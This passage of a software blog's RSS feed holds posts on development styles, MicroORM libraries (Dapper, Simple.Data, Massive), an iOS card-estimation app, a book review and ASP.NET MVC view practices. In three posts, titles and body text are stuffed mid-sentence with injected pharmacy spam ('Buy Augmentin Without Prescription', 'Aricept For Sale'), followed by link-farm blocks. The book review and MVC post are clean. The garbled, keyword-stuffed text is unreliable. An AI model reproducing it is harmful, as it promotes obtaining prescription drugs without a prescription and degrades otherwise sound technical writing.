<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4977'>Spiriva For Sale</a>. <a href='http://elegantcode.com/?p=4713'>Colchicine For Sale</a>. <a href='http://elegantcode.com/?p=4388'>Buy Levaquin Without Prescription</a>. <a href='http://elegantcode.com/?p=5020'>Buy Alesse (Ovral L) Without Prescription</a>. <a href='http://elegantcode.com/?p=4930'>Buy Betnovate Without Prescription</a>. <a href='http://elegantcode.com/?p=4731'>Purchase Celebrex for sale</a>. <a href='http://elegantcode.com/?p=4608'>After Cephalexin</a>. <a href='http://elegantcode.com/?p=4407'>No prescription Nexium online</a>. <a href='http://elegantcode.com/?p=4307'>Toradol long term</a>. <a href='http://elegantcode.com/?p=4715'>Aldactone pics</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.leaduganda.org/?p=3514'>Flagyl For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6916'>Flagyl For Sale</a>. <a href='http://www.greatgreengoods.com/?p=4031'>Flagyl For Sale</a>. <a href='http://www.thegriffonnews.com/?p=10580'>Flagyl For Sale</a>. <a href='http://www.independentworldreport.com/?p=2643'>Flagyl For Sale</a>. <a href='http://4realz.net/?p=2486'>What is Flagyl</a>. <a href='http://tvtownhall.com/?p=1903'>Where to buy Flagyl</a>. <a href='http://reversemortgagedaily.com/?p=14810'>Canada, mexico, india</a>. <a href='http://linuxologist.com/?p=1840'>Flagyl trusted pharmacy reviews</a>. <a href='http://home.officesnapshots.com/?p=364'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Buy Augmentin Without Prescription</title>
		<link>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=marines-vs-boy-scouts</link>
		<comments>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/#comments</comments>
		<pubDate>Mon, 16 Jan 2012 17:08:00 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/</guid>
		<description><![CDATA[Buy Augmentin Without Prescription, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, get Augmentin, Augmentin use, this is a “me, myself, where can i order Augmentin without prescription, Buy generic Augmentin, I and all of yall”.&#160; We all use both of these patterns in developing code, [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Buy Augmentin Without Prescription</b>, What I’m talking about here are two styles of development.&#160; And this isn’t an “us vs. them”, <b>get Augmentin</b>, <b>Augmentin use</b>, this is a “me, myself, <b>where can i order Augmentin without prescription</b>, <b>Buy generic Augmentin</b>, I and all of yall”.&#160; We all use both of these patterns in developing code, and will even switch patterns in the same product from feature to feature.&#160; Anyway, <b>Augmentin wiki</b>, <b>Australia, uk, us, usa</b>, here are your definitions:</p>  <p><strong>Boy Scout</strong>:&#160; “Leave thing better than you found them”</p>  <p><strong>Marine</strong>: “Get in, get out, <b>taking Augmentin</b>, <b>Augmentin alternatives</b>, leave no trace behind.”</p>  <p>Sounds simple right?&#160; So where does this apply?&#160; Starting with the Marine.&#160; I more frequently use this when dealing with someone else’s code, or something I just need to hack out real quick.&#160; Often you don’t plan on maintaining the code, <b>about Augmentin</b>, <b>Augmentin online cod</b>, probably won’t own it, or you are just following the given pattern that is already established in the code – no matter how bad it is.&#160; Typically you are just trying to get in and out without your name being attached.&#160; You will also hear the adage “if it ain’t broke don’t fix it” commonly among staunch practitioners.&#160; You can maintain code like this for a while, <b>buy no prescription Augmentin online</b>, <b>Augmentin long term</b>, but if used too often it will come back to haunt you.&#160; Each feature becomes harder to add, unexpected behaviors crop up, <b>order Augmentin online c.o.d</b>, <b>Augmentin no rx</b>, and performance problems creep in.</p>  <p>Now the Boy Scout.&#160; You are adding a feature and find a mess.&#160; The code is working, but is very unmaintainable.&#160; Instead of just adding your feature, <b>buy Augmentin without prescription</b>, <b>Augmentin photos</b>, you tear the code apart and refactor the daylights out of the code.&#160; Once complete and all is in order, then you add your feature.&#160; It took you three times longer than expected to get the feature added, <b>online Augmentin without a prescription</b>, <b>Augmentin treatment</b>, but you might be saving time in the future, assuming you will need to work with the code again.&#160; Unfortunately, <b>get Augmentin</b>, <b>Ordering Augmentin online</b>, it is also very possible to get over your head in a hurry.&#160; It would be great to have some unit tests to fall back on in this situation … but I haven’t seen that yet.&#160; A good thing to do before you start a boy scout trip is to warn people where you are going, how long you’ll be there, <b>Augmentin from canadian pharmacy</b>, <b>Augmentin australia, uk, us, usa</b>, and when to send for help.</p>  <h2>Pointers</h2>  <p>Now, lets not get too far ahead of ourselves here, <b>where can i cheapest Augmentin online</b>, <b>Kjøpe Augmentin på nett, köpa Augmentin online</b>, there is absolutely a time and place for each approach.&#160; It should also not be too hard to understand which is correct – but I’ll give some guidance anyway.&#160; Here are some points.</p>  <ol>   <li>If the code in question will be rarely used by one guy in the basement and doesn’t own a gun, marine mission till the cows come home.</li>    <li>If the code is non-critical, <b>Augmentin pharmacy</b>, <b>Discount Augmentin</b>, proof of concept, spike, <b>Augmentin without a prescription</b>, <b>Augmentin cost</b>, or the like and can get everything done in less than 4 hours, marine mission.</li>    <li>If you are a consultant brought in to add one feature and supplement a team with a strange style but is currently working for them, <b>Augmentin use</b>, <b>Augmentin trusted pharmacy reviews</b>, marine mission.&#160; Otherwise you will be “that guy”, meaning the one that didn’t fit in.&#160; Sometime it pays to just go with the flow.</li>    <li>If the code is critical path, <b>Augmentin steet value</b>, <b>Rx free Augmentin</b>, a essential web page seen by every customer you have: Boy Scout, and continue to Boy Scout.</li>    <li>If the code is already a buggy mess, <b>Augmentin dose</b>, <b>Doses Augmentin work</b>, the customers hate you, your product, <b>Augmentin recreational</b>, <b>Canada, mexico, india</b>, and your car – role up your sleeves and get to work.</li> </ol>  <p>End result, either approach can get you in trouble when used inappropriately.&#160; You need sound judgment to figure this out.&#160; But then again, <b>buy Augmentin online no prescription</b>, <b>Augmentin without prescription</b>, if software development was easy everyone would do it.</p>.  Buy Augmentin online cod.  Where can i buy cheapest Augmentin online.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4657'>Lexapro For Sale</a>. <a href='http://elegantcode.com/?p=4452'>Stromectol For Sale</a>. <a href='http://elegantcode.com/?p=4867'>Buy Soma Without Prescription</a>. <a href='http://elegantcode.com/?p=4758'>Buy Atenolol Without Prescription</a>. <a href='http://elegantcode.com/?p=4553'>Buy Female Pink Viagra Without Prescription</a>. <a href='http://elegantcode.com/?p=4662'>Where can i buy cheapest Antabuse online</a>. <a href='http://elegantcode.com/?p=4508'>Slimex (Obetrim) photos</a>. <a href='http://elegantcode.com/?p=4623'>Augmentin description</a>. <a href='http://elegantcode.com/?p=4752'>Buy Colchicine no prescription</a>. <a href='http://elegantcode.com/?p=4322'>Clonidine natural</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=1090'>Buy Augmentin Without Prescription</a>. <a href='http://4realz.net/?p=2432'>Buy Augmentin Without Prescription</a>. <a href='http://www.leaduganda.org/?p=903'>Buy Augmentin Without Prescription</a>. <a href='http://www.macneilbmx.com/blog/?p=6378'>Buy Augmentin Without Prescription</a>. <a href='http://www.greatgreengoods.com/?p=3806'>Buy Augmentin Without Prescription</a>. <a href='http://reversemortgagedaily.com/?p=13969'>Augmentin description</a>. <a href='http://linuxologist.com/?p=425'>Online buy Augmentin without a prescription</a>. <a href='http://home.officesnapshots.com/?p=198'>Augmentin pharmacy</a>. <a href='http://evanrapoport.com/?p=55'>Augmentin trusted pharmacy reviews</a>. <a href='http://www.themusclecarplace.com/?p=3068'>Doses Augmentin work</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/01/16/marines-vs-boy-scouts/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Metronidazole Gel For Sale</title>
		<link>http://elegantcode.com/2011/08/02/thoughts-on-microorms/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=thoughts-on-microorms</link>
		<comments>http://elegantcode.com/2011/08/02/thoughts-on-microorms/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 04:21:29 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2011/08/02/thoughts-on-microorms/</guid>
		<description><![CDATA[Metronidazole Gel For Sale, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Metronidazole Gel For Sale</b>, I’ve been spending some time getting my head wrapped around the idea of MicroOrms lately.&#160; A lot of this has to do with some of the scalability/caching issues I’ve been having with NHibernate.&#160; Don’t get me wrong, I still love NHibernate, but it can be a bit of a beast when you are really trying to drive performance, there is a lot of overhead in there.&#160; Besides, my general rule has been a good ORM can handle 80-90% of your queries, and then performance tune out as needed.&#160; I’m at the performance tuning part now.</p>  <p>BTW: if you are using Entity Framework you are in the same boat.</p>  <p>So the question is, what to do with that last 10-20% that you need performance on?&#160; Previously I had gone straight to Ado.Net, or used my own <a href="http://fluentado.codeplex.com/">FluentAdo</a> project.&#160; But a few new projects have dropped in on the scene and it was time to take a look.</p>  <p>Let’s start off with some requirements: </p>  <ol>   <li>Don’t be a pain to setup.</li>    <li>Don’t hork up my domain model (I have NHibernate for that).&#160; POCO preferred.</li>    <li>Be able handle multiple result sets (something NHibernate does not do well)</li>    <li>Preference executing raw sql, not an api.&#160; </li> </ol>  <ol>I don’t need:   <li>A custom query api for constructing sql. </li>    <li>Change tracking</li>    <li>Caching </li>    <li>Lazy Loading </li>    <li>Automatically loading child objects </li> </ol>  <ol>Basically, <b>online buying Metronidazole Gel</b>, <b>My Metronidazole Gel experience</b>, be simple, be light, <b>order Metronidazole Gel online c.o.d</b>, <b>Metronidazole Gel samples</b>, be fast, don’t be another NHibernate.&#160; </ol>  <p>Now the Contenders:</p>  <ul>   <ul>     <li><font style="background-color: #ffffff">Dapper </font></li>      <li>Simple.Data</li>      <li>Massive</li>      <h3>       <ul></ul>        <ul>Dapper</ul>     </h3>      <p><a href="http://code.google.com/p/dapper-dot-net/">Dapper</a> is my current favorite.&#160; I deals with POCO objects, <b>Metronidazole Gel online cod</b>, <b>Discount Metronidazole Gel</b>, setup is very simple, very little overhead and ceremony.&#160; That said, <b>purchase Metronidazole Gel online</b>, <b>Metronidazole Gel dose</b>, it is probably the rawest for dealing with sprocs.&#160; But for a bare metal way of loading domain objects, this guy is hard to beat.</p> Here is a sample query:</ul>    <p>var customer = _connection.Query&lt;Customer&gt;(     <br />&#160;&#160;&#160; &quot;select * from dbo.Customers where CustomerId = @id&quot;, <b>where can i buy cheapest Metronidazole Gel online</b>, <b>Metronidazole Gel pictures</b>, <br />&#160;&#160;&#160; new {id = 1})      <br />&#160;&#160;&#160; .FirstOrDefault();</p>    <p>Basically, Dapper handles all of my requirements with ease.&#160; I almost forgot to mention, <b>where can i find Metronidazole Gel online</b>, <b>Metronidazole Gel photos</b>, Dapper is compatible with .Net 4.0 and 3.5.&#160;&#160; That is a huge win for me.&#160; Plus, the guys on Stack Overflow are using it, <b>Metronidazole Gel samples</b>, <b>Metronidazole Gel recreational</b>, which makes for an easy “sell” to my management team.</p>    <p>&#160;</p>    <h3>Simple.Data</h3>    <ul><a href="https://github.com/markrendle/Simple.Data">Simple.Data</a> is also very interesting.&#160; It makes extensive use of .net 4.0 and the dynamic.&#160; Simple.Data is fairly ORM’ish, in that it seems to scan your database schema and dynamically add methods for retrieving data.&#160; But it still uses POCO classes so I am good with that.</ul> Here is a sample query:</ul>  <p>var db = Database.Open();   <br />var customer = db.Customers.FindByCustomerId(1);</p>  <p>To get that to work I defined the customer class with a CustomerID…and that is it.&#160; Dapper came up with the FindByCustomerId part.&#160; It also adds stored procs as well, <b>Metronidazole Gel pictures</b>, <b>Order Metronidazole Gel no prescription</b>, so if I have a sproc called “GetCustomers”, I can call:</p>  <p>db.GetCustomers()</p>  <p>It is just scary what is going on here.&#160; Granted there is a down-side to this system – albiet minor.&#160; There is a bit of overhead while Simple.Data scans your database schema and gets setup.</p>  <p>Verdict: I don’t mind Simple.Data, <b>Metronidazole Gel reviews</b>, <b>Metronidazole Gel wiki</b>, but the .Net 4.0 only part is a problem, plus it strays a bit into becoming a ORM – a bit too much API, <b>Metronidazole Gel no prescription</b>, <b>Metronidazole Gel duration</b>, but nothing obnoxious.</p>  <h3>Massive</h3>  <p>I should have known how this one would turn out ahead of time, but I really didn’t want to believe it.&#160; When I was young and foolish I was a SubSonic guy.&#160; Truth is, <b>Metronidazole Gel coupon</b>, <b>Metronidazole Gel dose</b>, I read Rob Connery’s blog religiously.&#160; But I moved passed SubSonic and onto NHibernate and never looked back.&#160; Heck, I moved passed Active Record and onto Repository Pattern.&#160; (Since then I’ve moved on again to Query/Command Pattern, <b>buy Metronidazole Gel without prescription</b>, <b>Online buy Metronidazole Gel without a prescription</b>, but another time for that).</p>  <p>First off, Massive horks up my domain model.&#160; Each entity has to inherit from DynamicModel.&#160; So before my model looked like this:</p>  <p>class Customer   <br />{    <br />&#160;&#160;&#160; public int CustomerId { get; set; }    <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>Now, <b>where can i find Metronidazole Gel online</b>, <b>Online Metronidazole Gel without a prescription</b>, Massive-fied:</p>  <p>class Customer: DynamicModel   <br />{    <br />&#160;&#160;&#160; public Customer(): base(&quot;Default&quot;)    <br />&#160;&#160;&#160; {    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; TableName = &quot;Customers&quot;;    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; PrimaryKeyField = &quot;CustomerId&quot;;    <br />&#160;&#160;&#160; }</p>  <p>&#160;&#160;&#160; public int CustomerId { get; set; }   <br />&#160;&#160;&#160; public string Name { get; set; }    <br />&#160;&#160;&#160; public string Address { get; set; }    <br />}</p>  <p>And that “Default” in there, that is the name of my connection string.&#160; Wonderful.&#160; Also, <b>buy Metronidazole Gel online no prescription</b>, <b>Buy cheap Metronidazole Gel no rx</b>, because my table names are plural, I have to specify the name of my table for them in EVERY SINGLE CLASS.</p>  <p>Now, <b>Metronidazole Gel steet value</b>, <b>Get Metronidazole Gel</b>, how to query:</p>  <p>var tbl = new Customer();   <br />var customer = tbl.Single(1);</p>  <p>Smack-dab, back to Active Record.</p>  <p>Also, <b>herbal Metronidazole Gel</b>, <b>Metronidazole Gel australia, uk, us, usa</b>, I didn’t see anything on how to parse multiple result sets.</p>  <p>Go to <a href="http://blog.wekeroad.com/helpy-stuff/and-i-shall-call-it-massive">Rob’s site and you will see more samples</a>.&#160; Needless to say, it is off my list.&#160; Granted, <b>after Metronidazole Gel</b>, <b>Purchase Metronidazole Gel online no prescription</b>, Massive is still much less overhead than NHibernate and Entity framework, but there is too much API there for me, <b>Metronidazole Gel from mexico</b>, <b>Order Metronidazole Gel from United States pharmacy</b>, too much setup, I don’t get my POCOs, <b>Metronidazole Gel long term</b>, <b>Buy cheap Metronidazole Gel</b>, etc.</p>.  Metronidazole Gel cost.  Order Metronidazole Gel online overnight delivery no prescription.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4831'>Buy Glucophage Without Prescription</a>. <a href='http://elegantcode.com/?p=4622'>Buy Diclofenac Without Prescription</a>. <a href='http://elegantcode.com/?p=4307'>Buy Toradol Without Prescription</a>. <a href='http://elegantcode.com/?p=4308'>Buy Cipro Without Prescription</a>. <a href='http://elegantcode.com/?p=4240'>Buy Combivent Without Prescription</a>. <a href='http://elegantcode.com/?p=5052'>Lotrisone cost</a>. <a href='http://elegantcode.com/?p=4233'>Online buying Pristiq hcl</a>. <a href='http://elegantcode.com/?p=4859'>Where to buy Triamterene</a>. <a href='http://elegantcode.com/?p=5163'>Online buying Zithromax</a>. <a href='http://elegantcode.com/?p=4218'>Elavil use</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.macneilbmx.com/blog/?p=5244'>Metronidazole Gel For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3407'>Metronidazole Gel For Sale</a>. <a href='http://www.thegriffonnews.com/?p=9775'>Metronidazole Gel For Sale</a>. <a href='http://www.independentworldreport.com/?p=198'>Metronidazole Gel For Sale</a>. <a href='http://www.themusclecarplace.com/?p=2956'>Metronidazole Gel For Sale</a>. <a href='http://www.quarterlives.com/?p=920'>Buy no prescription Metronidazole Gel online</a>. <a href='http://tayloegray.com/?p=253'>Metronidazole Gel alternatives</a>. <a href='http://social-blend.com/?p=761'>Metronidazole Gel schedule</a>. <a href='http://blog.farmland.org/?p=3382'>Online buy Metronidazole Gel without a prescription</a>. <a href='http://www.leaduganda.org/?p=1014'>Metronidazole Gel no prescription</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/08/02/thoughts-on-microorms/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Aricept For Sale</title>
		<link>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=so-what-was-i-thinking-anyway</link>
		<comments>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 01:26:28 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=4228</guid>
		<description><![CDATA[Aricept For Sale, Ever start a project just to learn something new. Aricept treatment,  But to do it, you have to have an app idea to throw around it, generic Aricept. Order Aricept online overnight delivery no prescription,  I had one of those.  I've been doing a wee bit of iOS development over the past [...]]]></description>
			<content:encoded><![CDATA[<p> <b>Aricept For Sale</b>, Ever start a project just to learn something new.  <b>Aricept treatment</b>,  But to do it, you have to have an app idea to throw around it, <b>generic Aricept</b>.  <b>Order Aricept online overnight delivery no prescription</b>,  I had one of those.  I've been doing a wee bit of iOS development over the past year, <b>Aricept class</b>, <b>Aricept pictures</b>, and I found I wanted to learn about iAds, in App Purchasing, <b>buy no prescription Aricept online</b>, <b>Online buy Aricept without a prescription</b>, talking between devices (via BlueTooth), and just get better at coding in general, <b>Aricept price</b>.  <b>Aricept forum</b>, I did just that.  I created an IPhone/IPad app called <a href="http://www.diamondbsoftware.com/index.php/agile-cards/">Agile Cards</a>, <b>Aricept For Sale</b>.  You can read up on it if you like, <b>cheap Aricept no rx</b>.  <b>Aricept trusted pharmacy reviews</b>,  Agile Cards is your basic card estimation app for the IPhone.  Real original, <b>effects of Aricept</b>, <b>Buy generic Aricept</b>, I know.  I think my competition is about a dozen other apps, <b>no prescription Aricept online</b>.  <b>Aricept For Sale</b>,  The only thing Agile Cards does that the others do not (that I know of) is use an IPad as a server.  <b>Buy Aricept online cod</b>,  This is optional of course.  So if you have several IPhones and an IPad you can have a digitally dynamic Scrum Estimation, <b>herbal Aricept</b>.  <b>About Aricept</b>, So what was I thinking.  I was thinking I needed practice, <b>Aricept coupon</b>.</p>
<p>I knew what I wanted to practice, so I thought up an app to do that with, <b>Aricept For Sale</b>.  <b>Buy Aricept without prescription</b>,  Now the great thing about the App Stores (for Apple, Android, <b>Aricept dosage</b>, <b>Aricept price, coupon</b>, and WinPhone 7), is that you can "easily" take these little apps that you are writing and sell them, <b>doses Aricept work</b>.  <b>Aricept maximum dosage</b>,  I've had dozens of apps that I've done for exactly the same purpose (to learn), but never had an easy route for selling them, <b>Aricept from canada</b>.  <b>Purchase Aricept for sale</b>,  And setting up an online store is just a big pain as far as I'm concerned.</p>
<p>But I put easily in quotes up there, <b>Aricept over the counter</b>.  <b>Aricept For Sale</b>,  There are a few caveats to my statement above.  <b>Aricept mg</b>,  I had a designer that wanted to do some more IPhone designing.  I've helped him with apps as well, <b>Aricept cost</b>, <b>Order Aricept from mexican pharmacy</b>, so he was happy to help out.  If  you are going to go onto an app store, <b>purchase Aricept</b>, <b>Comprar en línea Aricept, comprar Aricept baratos</b>, you will/should spend more time on user experience than you normally would, especially if you were just writing the app for yourself, <b>Aricept australia, uk, us, usa</b>.  <b>Where can i buy cheapest Aricept online</b>, There is also the hassle of dealing with the app store requirements.  You need icons, splash screens, verbiage (which I kind of suck at), a web site, screen shots, email addresses, etc, <b>Aricept For Sale</b>.  I even setup a Google Voice account for it, <b>Aricept steet value</b>.  <b>Aricept long term</b>,   All this for a free app.  (OK, <b>cheap Aricept</b>, <b>Real brand Aricept online</b>, there are ad, but free none the less), <b>order Aricept online c.o.d</b>.  <b>What is Aricept</b>, What was I thinking.  <b>Aricept For Sale</b>,  I was thinking I also needed the practice of finishing an app.</p>
<p>There is nothing wrong with starting an app and throwing it away, <b>Aricept gel, ointment, cream, pill, spray, continuous-release, extended-release</b>, or just stopping when you don't need to go any further.  You end up with a program with a few quirks (bugs) that never get fixed, but you are probably the only person using it anyway.  That is fine.  But every now and then you need to FINISH something.  By FINISH, I mean shipping quality, <b>Aricept For Sale</b>.  Shipping quality is hard btw.  It takes more time.  You need other people looking at things.</p>
<p>This is to remind you that software can be hard.  <b>Aricept For Sale</b>,  We deal with details, lots of them.  Selling software to other people means dealing with even more details.  It is good to do every now and then.  On your own.</p>
<p>So what was I thinking.   I thought it sounded like fun, <b>Aricept For Sale</b>.</p>
<p>And by fun, like running a marathon half prepared fun.  BTW: I never did get to the "In app purchasing" bit.   I guess that can be next time.  It was to remove the ads.  I never have released an app with every single feature I ever wanted in it.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4435'>Lipitor For Sale</a>. <a href='http://elegantcode.com/?p=4660'>Buy Lumigan Without Prescription</a>. <a href='http://elegantcode.com/?p=4337'>Vibramycin For Sale</a>. <a href='http://elegantcode.com/?p=4935'>Buy Aricept Without Prescription</a>. <a href='http://elegantcode.com/?p=4204'>Seroquel For Sale</a>. <a href='http://elegantcode.com/?p=4427'>Bactrim dose</a>. <a href='http://elegantcode.com/?p=4756'>Is Plavix safe</a>. <a href='http://elegantcode.com/?p=4426'>Lexapro without prescription</a>. <a href='http://elegantcode.com/?p=4587'>Where can i order Pristiq without prescription</a>. <a href='http://elegantcode.com/?p=4190'>Online Allopurinol without a prescription</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=581'>Aricept For Sale</a>. <a href='http://4realz.net/?p=1491'>Aricept For Sale</a>. <a href='http://www.leaduganda.org/?p=468'>Aricept For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6291'>Aricept For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3626'>Aricept For Sale</a>. <a href='http://social-blend.com/?p=1085'>Aricept reviews</a>. <a href='http://blog.farmland.org/?p=3058'>Purchase Aricept for sale</a>. <a href='http://reversemortgagedaily.com/?p=14779'>Aricept dosage</a>. <a href='http://linuxologist.com/?p=395'>Purchase Aricept online no prescription</a>. <a href='http://home.officesnapshots.com/?p=167'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Book Review: Brain Rules</title>
		<link>http://elegantcode.com/2010/11/20/book-review-brain-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=book-review-brain-rules</link>
		<comments>http://elegantcode.com/2010/11/20/book-review-brain-rules/#comments</comments>
		<pubDate>Sun, 21 Nov 2010 00:28:50 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/11/20/book-review-brain-rules/</guid>
		<description><![CDATA[This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads. The book, Brain Rules [...]]]></description>
			<content:encoded><![CDATA[<p>This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads.</p>  <p>The book, Brain Rules by John Medina, is about the brain and what is actually know about.&#160; I like the author’s criteria for what went in the book.&#160; He called it the “Cranky Scientist Rule.”&#160; Nothing is in the book that hasn’t been published in a scientific journal, peer reviewed, and duplicated by someone else.&#160; I liked that as well.</p>  <p>Each chapter, and there are 12 of them, are about what the brain needs, and how best to give the brain what it needs.&#160; There are chapters specific to Sleep, Stress, Short term memory, long term memory, and gender.&#160; There are few absolutes in the book (except multitasking, he says you can’t do it and wants to ban texting in cars – I’ll grant him that one), but LOTS of pointers.&#160; Also, there are plenty of asides where he talks about actual people with interesting conditions you should really hope you don’t get (but probably wouldn’t notice if you did).</p>  <p>And for a book on the brain, it is not dry at all.&#160; The Author is a VERY effective writer, and judging from his credentials, probably an excellent teacher as well.&#160; If you have a few minutes, I highly recommend checking out his web site: <a href="http://BrainRules.com">BrainRules.com</a> and watch some of his videos.</p>  <p><a href="http://www.amazon.com/Brain-Rules-Principles-Surviving-Thriving/dp/0979777747/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1290299287&amp;sr=1-1">Check out the book as well at amazon</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/11/20/book-review-brain-rules/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC: My Personal View Rules</title>
		<link>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-my-personal-view-rules</link>
		<comments>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:10:02 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=3641</guid>
		<description><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with [...]]]></description>
			<content:encoded><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with every new technology can be used poorly, and when use poorly you try to identify why that code was bad, how it could have been done better.

First, lets think about what the view should be doing - in a single responsibility sort of way: turn data into html.  That right there rules out several options.  No retrieving data, no extra data transformations.  Just turn some data into html.  And frankly, that is complicated enough.  So a side goal that I strive for is to create a markup page (the aspx) that is similar to the desired html output.  The main reason for that side goal is to make double checking the output that much easier.  I want to see a 'div' in my markup, and have a reasonable idea where that 'div' will show up in the html.
<ol>
	<li><strong>Keep as much code out of your views as you can.</strong></li>
</ol>
Don't make this rule overly simplistic.  Some code belongs in the view.  A 'for' loop to create a table, a simple 'if' block to show administrator functionality, stuff like that.  But you shouldn't be having to specify the DateTime format, or string parsing.  That is what the ViewModels should do for you.  Rule of thumb, if you see a block where there is more C# than HTML, you probably did it wrong.

I will also extend this rule to JavaScript as well.  I've talked about the why JavaScript should not be in the views before, so this should not be a shock.  JavaScript belong in separate files.  Period.

2. <strong>Make Views typed.</strong>

This is true for all views where you have to pass data from the controller to the view.  Make a View Model for the view and pass data via that model.  This opens up a whole host of better patterns for you, like typed HtmlHelpers.  As a result, it is VERY rare that I will share a view model between views, or even Controller Actions.  I make separate models for GET, POST, and DELETE.  I guess my view is, the more the merrier.

3.   <strong>Make the View Models specific to the needs of the view.</strong>

OK, this isn't actually a View best practice, but it is highly related.  If you try to keep the model for the view too generic, you end up with a lot of logic in the view to transpose the data into something useful.  The key point is that the data in the model serves the view, so all of the work to get the data into the correct format should be done when putting the data into  the model.  I will often take this to the point where the model will give html elements in the view their CSS classes.  So that means I have more than data from the database in the views.

Side note: when it comes to populating View Models with data specific for the View, <a href="http://automapper.codeplex.com/">AutoMapper</a> rocks!  That is all.

4.  <strong>Custom Html Helpers are wonderful things</strong>

It is remarkably simple to create your own Html Helper, and once you get the hang of them they are beautiful.  They are wonderful little ways to encapsulate a small amount of logic so you can get it out of the aspx view.  Use them to encapsulate small amounts of code you need in various place through the project.

Another little "trick" I will use from time to time to create custom models just for a html helper (passed in via the view's view model).  I have a few places where I need to change the markup because of the browser being used...so I create a custom helper that can detect the browser.

5. <strong>Standard HTML Helpers are great, but remember html</strong>

The key point I'm trying to make here is to become familiar with the output of the standard HTML helpers.  While the helpers can be great, they have their warts (anything having to do with an attribute name/value is a bit ugly).  Sometimes it is easier to swap them out with the standard html (especially with inputs) to get the exact output you want.  As a bonus, it is easier for the next guy coming in to figure out what you were after.   Currently, I'd say I use the helpers about 50% of the time over raw HTML.

Now, typing the html, or the helper, still kind of stinks.  You have to type the same code over and over.  Take a look at what <a href="http://code.google.com/p/zen-coding/">Zen-Coding</a> does.  You can do the same thing with ReSharper Templates or Visual Studio snippets...or just install one of the ReSharper or Visual Studio pluggins.  But beyond that, there is an art to customizing Visual Studio that you should learn.

6. <strong> Wrap all links in Url.Content and Url.Action</strong>

